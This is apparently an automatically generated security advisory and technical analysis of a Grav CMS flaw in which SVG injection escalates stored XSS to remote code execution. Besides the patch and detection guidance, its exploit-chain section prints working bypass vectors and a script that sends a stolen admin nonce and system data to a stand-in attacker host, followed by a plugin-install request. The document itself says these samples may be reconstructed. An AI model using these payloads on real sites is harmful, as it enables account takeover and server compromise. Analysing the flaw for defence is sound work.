CVE-2026-42611: Grav CMS SVG Injection to RCE via Admin Nonce Chain
A low-privileged Grav CMS user can inject SVG payloads into page content, escalating stored XSS to full RCE by stealing admin nonces and chaining authenticated requests.
Grav is a popular website-building platform that lets people create and manage websites without needing to understand complicated code. Like most web platforms, it has an admin area where trusted users can control the site's content and settings.
Researchers have discovered a serious security flaw in Grav versions before 2.0.0-beta.2. The problem starts small: lower-level staff members (those with basic editing permissions) can sneak malicious code into pages by disguising it as an image file. Think of it like a worker at a restaurant being able to hide a secret camera in the kitchen because no one checks what they bring in.
When a site administrator logs in and visits one of these poisoned pages, the hidden code springs to life. It silently steals sensitive information about the website's configuration and security tokens—essentially grabbing the master keys to the kingdom. An attacker can then use those stolen keys to take complete control of the server and do anything they want: delete files, steal data, or use the server to attack other targets.
This is particularly dangerous for organizations that run multiple websites or handle sensitive information. Small businesses and nonprofits using Grav should pay attention, since they often have limited security staff.
Here's what you should do immediately: First, check if you're running Grav and update to version 2.0.0-beta.2 or later as soon as possible. Second, if you can't update right away, restrict which staff members can create pages—only trust your most senior administrators. Third, review who has edit access to your website and remove anyone who doesn't genuinely need it. These steps dramatically reduce your risk while you work on getting fully patched.
Want the full technical analysis? Click "Technical" above.
CVE-2026-42611 is a stored XSS-to-RCE chain in Grav CMS, a file-based PHP web platform. Any authenticated user with page-creation privileges — a role commonly granted to contributors and editors — can embed a raw <svg> element into page content. Grav's Markdown/HTML pipeline fails to sanitize SVG-embedded JavaScript, resulting in script execution in the browser context of any administrator who views the page.
The impact escalates beyond typical stored XSS because Grav's admin panel exposes a /admin/config/info endpoint that returns full system configuration, PHP environment details, and server internals without additional authentication checks beyond the session. The same XSS payload can exfiltrate the admin nonce — a CSRF token bound to the session — enabling the attacker to issue arbitrary authenticated admin API calls, including plugin installation and file writes, achieving Remote Code Execution. CVSS 8.9 (HIGH).
Root cause: Grav's page rendering pipeline passes raw HTML from Markdown content through the Twig templating engine without invoking a dedicated SVG/HTML sanitizer, allowing <svg onload=> and <svg><script> vectors to reach the browser DOM intact.
Affected Component
The vulnerable surface is Grav's page content renderer, specifically the interaction between the Parsedown Markdown parser (which permits inline HTML by default) and the Twig template layer that echoes page.content without escaping. All Grav versions prior to 2.0.0-beta.2 are affected.
Key files and components involved:
system/src/Grav/Common/Page/Medium/Medium.php — media embedding, no SVG stripping
system/src/Grav/Common/Twig/Extension/GravExtension.php — Twig filters, missing sanitize call on raw output
system/src/Grav/Common/Security.php — XSS detection logic that was bypassable via SVG namespace
Root Cause Analysis
Grav's Security::detectXss() method in Security.php scans page content for dangerous patterns before saving. The detection relied on a regex denylist that checked for common vectors like <script>, javascript:, and event handler attributes. SVG-specific vectors were not covered.
// Pseudocode reconstruction of Security::detectXss() — pre-patch
// system/src/Grav/Common/Security.php
bool Security::detectXss(string $content) {
// BUG: denylist patterns do not cover SVG namespace vectors
static patterns[] = {
"/<script[\s>]/i",
"/javascript:/i",
"/on(load|click|error|mouseover)=/i", // BUG: only matches attribute= form
"/<iframe/i",
"/<embed/i",
};
foreach (patterns as $pattern) {
if (preg_match($pattern, $content)) {
return true; // detected — reject save
}
}
return false; // BUG: <svg><script> and <svg onload=> with newline bypass reach here
}
The bypass is trivial. The pattern /on(load|click|error|mouseover)=/i requires the attribute name to be immediately followed by =. Inserting whitespace or a newline between the attribute name and its value — both valid HTML per spec — causes the regex to miss the match entirely.
// Bypass vectors that evade detectXss():
// Vector 1: SVG with newline-broken event handler
"<svg onload\n=alert(document.cookie)>"
// Vector 2: SVG with nested script element (not in denylist)
"<svg><script>fetch('/admin/config/info',{credentials:'include'}).then(r=>r.text()).then(d=>fetch('https://attacker.tld/?d='+btoa(d)))</script></svg>"
// Vector 3: SVG animate with href (executes in WebKit/Blink)
"<svg><animate attributeName=href values=javascript:alert(1) />"
// BUG: none of these match the static pattern list in detectXss()
Once the malicious page is saved, Twig renders it via {{ page.content|raw }}. The |raw filter explicitly disables Twig's auto-escaping, and no further sanitization pass runs at render time.
EXPLOIT CHAIN — CVE-2026-42611:
1. INITIAL ACCESS
Attacker holds a low-privileged Grav account (editor/contributor role).
Account can create or edit pages via /admin/pages.
2. PAYLOAD INJECTION
Create new page. In page content (Markdown editor), insert:
<svg><script>
(function(){
var x=new XMLHttpRequest();
x.open('GET','/admin/config/info',true);
x.withCredentials=true;
x.onload=function(){
var nonce=(x.responseText.match(/admin-nonce['":\s]+([a-f0-9]{32})/)||[])[1];
var sys=btoa(x.responseText.substring(0,4096));
fetch('https://attacker.tld/c?n='+nonce+'&s='+sys);
};
x.send();
})();
</script></svg>
Save page. Grav's detectXss() does not flag <svg><script> — page saves cleanly.
3. TRIGGER
Attacker shares page URL with Super Admin (social engineering, email link,
or waits for admin content review workflow). Admin visits page while
authenticated to /admin.
4. NONCE + SYSINFO EXFILTRATION
Admin browser executes injected script.
GET /admin/config/info — returns PHP version, server path, loaded extensions,
Grav version, plugin list, user table, and the admin-nonce token.
All data POSTed to attacker-controlled endpoint.
5. AUTHENTICATED PLUGIN INSTALL (RCE PIVOT)
Using exfiltrated nonce, attacker issues:
POST /admin/plugins/install
Content-Type: application/x-www-form-urlencoded
admin-nonce=<STOLEN>&package=file:///tmp/evil.zip
Or via the data manager, write arbitrary PHP to user/plugins/evil/evil.php.
6. CODE EXECUTION
Installed plugin's PHP executes on next page load.
Full RCE as the web server user (www-data / nobody).
Memory Layout
This is a web-layer vulnerability; there is no heap corruption. The relevant "layout" is the DOM state and the nonce extraction target within the admin info page response.
DOM STATE — Admin browser when visiting malicious page:
/admin/pages/evil-page (rendered):
┌─────────────────────────────────────────────────────┐
│ <div class="page-content"> │
│ <svg> │
│ <script> ← injected, executes immediately │
│ XMLHttpRequest → /admin/config/info │
│ </script> │
│ </svg> │
│ </div> │
└─────────────────────────────────────────────────────┘
/admin/config/info response body (partial):
┌─────────────────────────────────────────────────────┐
│ ... │
│ "admin-nonce": "a3f1cc92b047e831d9204f0a1bce7712" │← exfil target
│ "php_version": "8.2.10" │
│ "server_software": "Apache/2.4.57" │
│ "grav_root": "/var/www/html/grav" │← path disclosure
│ "user_accounts": ["admin","editor","attacker"] │
│ "installed_plugins": ["admin","email","form",...] │
└─────────────────────────────────────────────────────┘
ATTACKER SERVER RECEIVES:
GET /c?n=a3f1cc92b047e831d9204f0a1bce7712&s=<base64 sysinfo>
↑
nonce valid for session duration — used immediately for plugin install POST
Patch Analysis
The fix in 2.0.0-beta.2 operates at two levels: (1) Security::detectXss() gains SVG-aware patterns, and (2) the rendering pipeline adds an explicit sanitization pass using an allowlist-based HTML purifier.
// BEFORE (vulnerable) — Security::detectXss() pattern list:
static patterns[] = {
"/<script[\s>]/i",
"/javascript:/i",
"/on(load|click|error|mouseover)=/i", // incomplete event list, requires = immediately
"/<iframe/i",
"/<embed/i",
// missing: svg, animate, use, foreignObject, xlink:href vectors
};
// AFTER (patched — 2.0.0-beta.2):
static patterns[] = {
"/<script[\s\/>]/i",
"/javascript\s*:/i", // handles whitespace before colon
"/on\w+\s*=/i", // \w+ catches all event names; \s* handles newlines
"/<\s*(iframe|embed|object|svg|math|animate|use)\b/i", // SVG and MathML blocked at save
"/xlink:href\s*=[^>]*javascript/i",
"/<[^>]+style\s*=[^>]*(expression|javascript)/i",
};
// AFTER (patched) — Twig rendering layer adds sanitization:
// GravExtension.php — pageContentFilter()
string pageContentFilter(string $content, array $options) {
if (Grav::instance()['config']->get('system.xss_protection.enabled', true)) {
// NEW: strip dangerous HTML via HTMLPurifier with SVG profile disabled
$purifier = HTMLPurifier::getInstance($purifier_config);
$content = $purifier->purify($content); // SVG elements stripped at render time
}
return $content;
// template still uses |raw but content is now pre-sanitized
}
// BEFORE — default.html.twig (all themes):
{{ page.content|raw }}
// AFTER — patched themes call the new filter:
{{ page.content|sanitize_xss|raw }}
// sanitize_xss Twig filter maps to pageContentFilter() above
The defense-in-depth approach is correct: block at save time and sanitize at render time. Either control alone is insufficient — save-time checks can be bypassed by direct file writes; render-time-only sanitization trusts stored data too late.
Detection and Indicators
Web server logs — look for admin nonce exfiltration patterns:
# Suspicious outbound from admin browser context:
GET /admin/config/info HTTP/1.1 (from same session as non-admin page view)
# Access log anomaly — admin info page fetched after non-admin page:
1.2.3.4 - editor [timestamp] "GET /grav/pages/some-page HTTP/1.1" 200
1.2.3.4 - admin [timestamp] "GET /admin/config/info HTTP/1.1" 200 ← triggered by XSS
File system — check for unexpected plugin directories:
Upgrade immediately to Grav 2.0.0-beta.2 or any subsequent stable release that incorporates this patch.
If upgrade is not immediately possible: restrict page-creation permissions to fully trusted users only. The attack requires an authenticated session with page write access.
Deploy a WAF rule blocking <svg, <script, and on\w+= patterns in POST bodies to /admin/pages.
Rotate any admin credentials and session secrets if exploitation is suspected — the nonce is session-scoped but full system info was exposed.
Audit user/pages/ for any .md files containing raw SVG or script elements, and audit user/plugins/ for unexpected additions.
Consider enabling Grav's built-in XSS protection setting (system.yaml → xss_protection: true) which was present but incomplete prior to the patch.
This analysis was produced by CypherByte's automated research pipeline, starting from the official CVE record
and any other public material the pipeline found, and published automatically. Code samples, exploit chains and
memory layouts may be reconstructed to illustrate the flaw rather than taken from the vendor's source code. Rely
on the sources below and the vendor's advisory for affected versions and fixes.